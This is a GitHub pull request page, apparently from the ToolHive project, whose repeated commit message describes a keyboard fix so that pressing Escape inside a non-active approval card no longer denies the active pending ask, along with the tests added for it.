With two or more pending asks, Escape from inside a card that isn't the
active ask's denied the active ask: a request other than the one the
reader was looking at.

Escape now answers no ask from another ask's card. Every pending ask's
card is marked data-approval-scope, and the active ask's card is also
marked data-active-ask. useChatEscape returns at the ask layer when the
press comes from a card without that mark. The card's own ask isn't
answered either: it isn't the active ask, so no key answers it, which
matches #2251's detail panel for such an ask, where Escape only closes.

The plan-review card is marked the same way, so Escape from a plan card
that isn't the active ask's neither denies the active ask nor iterates
the active plan.

Unchanged: from the active ask's card, the composer, a side panel that
isn't an approval, or the page, Escape still denies the active ask or
iterates the active plan. An open menu and a text selection still come
first, the double-Escape draft clear works as before, and a held Escape
still acts on nothing.

Tests cover two asks with focus in the second card (nothing is posted for
either ask, on the workspace and the side thread), a plan card that isn't
active, every ordinary and plan pairing at the hook, and a selection that
still clears from another card. They fail without the fix.

Closes #2258

Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
peppescg added a commit that referenced this pull request Oct 15, 2026
…tive ask

With two or more pending asks, Escape from inside a card that isn't the
active ask's denied the active ask: a request other than the one the
reader was looking at.

Escape now answers no ask from another ask's card. Every pending ask's
card is marked data-approval-scope, and the active ask's card is also
marked data-active-ask. useChatEscape returns at the ask layer when the
press comes from a card without that mark. The card's own ask isn't
answered either: it isn't the active ask, so no key answers it, which
matches #2251's detail panel for such an ask, where Escape only closes.

The plan-review card is marked the same way, so Escape from a plan card
that isn't the active ask's neither denies the active ask nor iterates
the active plan.

Unchanged: from the active ask's card, the composer, a side panel that
isn't an approval, or the page, Escape still denies the active ask or
iterates the active plan. An open menu and a text selection still come
first, the double-Escape draft clear works as before, and a held Escape
still acts on nothing.

Tests cover two asks with focus in the second card (nothing is posted for
either ask, on the workspace and the side thread), a plan card that isn't
active, every ordinary and plan pairing at the hook, and a selection that
still clears from another card. They fail without the fix.

Closes #2258

Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
@toolhive-release-app toolhive-release-app Bot mentioned this pull request Oct 20, 2026
2 tasks
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants